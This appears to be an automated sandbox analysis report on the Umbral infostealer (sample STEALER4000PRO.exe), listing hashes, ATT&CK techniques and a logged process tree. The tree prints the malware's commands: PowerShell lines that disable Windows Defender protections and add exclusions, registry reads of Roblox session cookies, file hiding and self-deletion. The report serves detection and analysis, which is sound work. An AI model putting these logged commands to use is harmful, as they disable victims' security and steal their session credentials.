umbral | 96622bdc957b5aba6687cdc3de23737ed4775cd49f7be43ead103c40c8b68160

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
12-05-2024 19:10

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General

Target

STEALER4000PRO.exe
Size

229KB
MD5

bbc777f07f2779e1c776fff6afd594c0
SHA1

fc2b7e80ec86b55dcff0f2026fee001c96ae1817
SHA256

96622bdc957b5aba6687cdc3de23737ed4775cd49f7be43ead103c40c8b68160
SHA512

939809ffd348eb0785e49c23470a2678ab8385d015aa0aab60bdde4a15f8f5cc647bdf8a387d3547a124736a5265b0502d9d55cec4c4c50af547778480aa3f3d
SSDEEP

6144:FloZMCrIkd8g+EtXHkv/iD44QjxM+8D/0aVA+Pv+Gfb8e1m8ti:HoZRL+EP8TjxM+8D/0aVA+Pv+k7k

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1992-1-0x0000000000860000-0x00000000008A0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1940	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	STEALER4000PRO.exe

Deletes itself 1 IoCs

pid	Process
2060	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3064	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2164	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1940	powershell.exe
2604	powershell.exe
2544	powershell.exe
2288	powershell.exe
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	STEALER4000PRO.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeIncreaseQuotaPrivilege	3012	wmic.exe
Token: SeSecurityPrivilege	3012	wmic.exe
Token: SeTakeOwnershipPrivilege	3012	wmic.exe
Token: SeLoadDriverPrivilege	3012	wmic.exe
Token: SeSystemProfilePrivilege	3012	wmic.exe
Token: SeSystemtimePrivilege	3012	wmic.exe
Token: SeProfSingleProcessPrivilege	3012	wmic.exe
Token: SeIncBasePriorityPrivilege	3012	wmic.exe
Token: SeCreatePagefilePrivilege	3012	wmic.exe
Token: SeBackupPrivilege	3012	wmic.exe
Token: SeRestorePrivilege	3012	wmic.exe
Token: SeShutdownPrivilege	3012	wmic.exe
Token: SeDebugPrivilege	3012	wmic.exe
Token: SeSystemEnvironmentPrivilege	3012	wmic.exe
Token: SeRemoteShutdownPrivilege	3012	wmic.exe
Token: SeUndockPrivilege	3012	wmic.exe
Token: SeManageVolumePrivilege	3012	wmic.exe
Token: 33	3012	wmic.exe
Token: 34	3012	wmic.exe
Token: 35	3012	wmic.exe
Token: SeIncreaseQuotaPrivilege	3012	wmic.exe
Token: SeSecurityPrivilege	3012	wmic.exe
Token: SeTakeOwnershipPrivilege	3012	wmic.exe
Token: SeLoadDriverPrivilege	3012	wmic.exe
Token: SeSystemProfilePrivilege	3012	wmic.exe
Token: SeSystemtimePrivilege	3012	wmic.exe
Token: SeProfSingleProcessPrivilege	3012	wmic.exe
Token: SeIncBasePriorityPrivilege	3012	wmic.exe
Token: SeCreatePagefilePrivilege	3012	wmic.exe
Token: SeBackupPrivilege	3012	wmic.exe
Token: SeRestorePrivilege	3012	wmic.exe
Token: SeShutdownPrivilege	3012	wmic.exe
Token: SeDebugPrivilege	3012	wmic.exe
Token: SeSystemEnvironmentPrivilege	3012	wmic.exe
Token: SeRemoteShutdownPrivilege	3012	wmic.exe
Token: SeUndockPrivilege	3012	wmic.exe
Token: SeManageVolumePrivilege	3012	wmic.exe
Token: 33	3012	wmic.exe
Token: 34	3012	wmic.exe
Token: 35	3012	wmic.exe
Token: SeIncreaseQuotaPrivilege	1952	wmic.exe
Token: SeSecurityPrivilege	1952	wmic.exe
Token: SeTakeOwnershipPrivilege	1952	wmic.exe
Token: SeLoadDriverPrivilege	1952	wmic.exe
Token: SeSystemProfilePrivilege	1952	wmic.exe
Token: SeSystemtimePrivilege	1952	wmic.exe
Token: SeProfSingleProcessPrivilege	1952	wmic.exe
Token: SeIncBasePriorityPrivilege	1952	wmic.exe
Token: SeCreatePagefilePrivilege	1952	wmic.exe
Token: SeBackupPrivilege	1952	wmic.exe
Token: SeRestorePrivilege	1952	wmic.exe
Token: SeShutdownPrivilege	1952	wmic.exe
Token: SeDebugPrivilege	1952	wmic.exe
Token: SeSystemEnvironmentPrivilege	1952	wmic.exe
Token: SeRemoteShutdownPrivilege	1952	wmic.exe
Token: SeUndockPrivilege	1952	wmic.exe
Token: SeManageVolumePrivilege	1952	wmic.exe
Token: 33	1952	wmic.exe
Token: 34	1952	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 2208	1992	STEALER4000PRO.exe	28
PID 1992 wrote to memory of 2208	1992	STEALER4000PRO.exe	28
PID 1992 wrote to memory of 2208	1992	STEALER4000PRO.exe	28
PID 1992 wrote to memory of 1940	1992	STEALER4000PRO.exe	30
PID 1992 wrote to memory of 1940	1992	STEALER4000PRO.exe	30
PID 1992 wrote to memory of 1940	1992	STEALER4000PRO.exe	30
PID 1992 wrote to memory of 2604	1992	STEALER4000PRO.exe	32
PID 1992 wrote to memory of 2604	1992	STEALER4000PRO.exe	32
PID 1992 wrote to memory of 2604	1992	STEALER4000PRO.exe	32
PID 1992 wrote to memory of 2544	1992	STEALER4000PRO.exe	34
PID 1992 wrote to memory of 2544	1992	STEALER4000PRO.exe	34
PID 1992 wrote to memory of 2544	1992	STEALER4000PRO.exe	34
PID 1992 wrote to memory of 2288	1992	STEALER4000PRO.exe	36
PID 1992 wrote to memory of 2288	1992	STEALER4000PRO.exe	36
PID 1992 wrote to memory of 2288	1992	STEALER4000PRO.exe	36
PID 1992 wrote to memory of 3012	1992	STEALER4000PRO.exe	38
PID 1992 wrote to memory of 3012	1992	STEALER4000PRO.exe	38
PID 1992 wrote to memory of 3012	1992	STEALER4000PRO.exe	38
PID 1992 wrote to memory of 1952	1992	STEALER4000PRO.exe	41
PID 1992 wrote to memory of 1952	1992	STEALER4000PRO.exe	41
PID 1992 wrote to memory of 1952	1992	STEALER4000PRO.exe	41
PID 1992 wrote to memory of 1656	1992	STEALER4000PRO.exe	43
PID 1992 wrote to memory of 1656	1992	STEALER4000PRO.exe	43
PID 1992 wrote to memory of 1656	1992	STEALER4000PRO.exe	43
PID 1992 wrote to memory of 2744	1992	STEALER4000PRO.exe	45
PID 1992 wrote to memory of 2744	1992	STEALER4000PRO.exe	45
PID 1992 wrote to memory of 2744	1992	STEALER4000PRO.exe	45
PID 1992 wrote to memory of 3064	1992	STEALER4000PRO.exe	47
PID 1992 wrote to memory of 3064	1992	STEALER4000PRO.exe	47
PID 1992 wrote to memory of 3064	1992	STEALER4000PRO.exe	47
PID 1992 wrote to memory of 2060	1992	STEALER4000PRO.exe	49
PID 1992 wrote to memory of 2060	1992	STEALER4000PRO.exe	49
PID 1992 wrote to memory of 2060	1992	STEALER4000PRO.exe	49
PID 2060 wrote to memory of 2164	2060	cmd.exe	51
PID 2060 wrote to memory of 2164	2060	cmd.exe	51
PID 2060 wrote to memory of 2164	2060	cmd.exe	51

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2208	attrib.exe

C:\Users\Admin\AppData\Local\Temp\STEALER4000PRO.exe
"C:\Users\Admin\AppData\Local\Temp\STEALER4000PRO.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\STEALER4000PRO.exe"
  2⤵
  - Views/modifies file attributes
  PID:2208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\STEALER4000PRO.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2288
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3012
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1952
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2744
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3064
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\STEALER4000PRO.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a677ea47d63dfde47915996eefd94c1b

SHA1
b3e09a43bcdbccfe1687c39028ce7008678a6801

SHA256
a7553754ca64eb63e83f639569b946c4a819781cb661822bf854d50f85a01494

SHA512
28be76b721ae11b3c10b864605d0aae418b95dc8ac07d59b324ac6f950fda767d11cb7a74d5ec939eef03e4d0f72533a409a0f3c208651141978bf439f8336c8

Download Submit
memory/1940-12-0x000007FEED800000-0x000007FEEE19D000-memory.dmp

Filesize
9.6MB

Download
memory/1940-13-0x000007FEED800000-0x000007FEEE19D000-memory.dmp

Filesize
9.6MB

Download
memory/1940-8-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/1940-9-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/1940-10-0x000007FEED800000-0x000007FEEE19D000-memory.dmp

Filesize
9.6MB

Download
memory/1940-11-0x000007FEED800000-0x000007FEEE19D000-memory.dmp

Filesize
9.6MB

Download
memory/1940-7-0x000007FEEDABE000-0x000007FEEDABF000-memory.dmp

Filesize
4KB

Download
memory/1992-0-0x000007FEF5643000-0x000007FEF5644000-memory.dmp

Filesize
4KB

Download
memory/1992-2-0x000007FEF5640000-0x000007FEF602C000-memory.dmp

Filesize
9.9MB

Download
memory/1992-1-0x0000000000860000-0x00000000008A0000-memory.dmp

Filesize
256KB

Download
memory/1992-53-0x000007FEF5640000-0x000007FEF602C000-memory.dmp

Filesize
9.9MB

Download
memory/2604-19-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/2604-20-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/2744-49-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download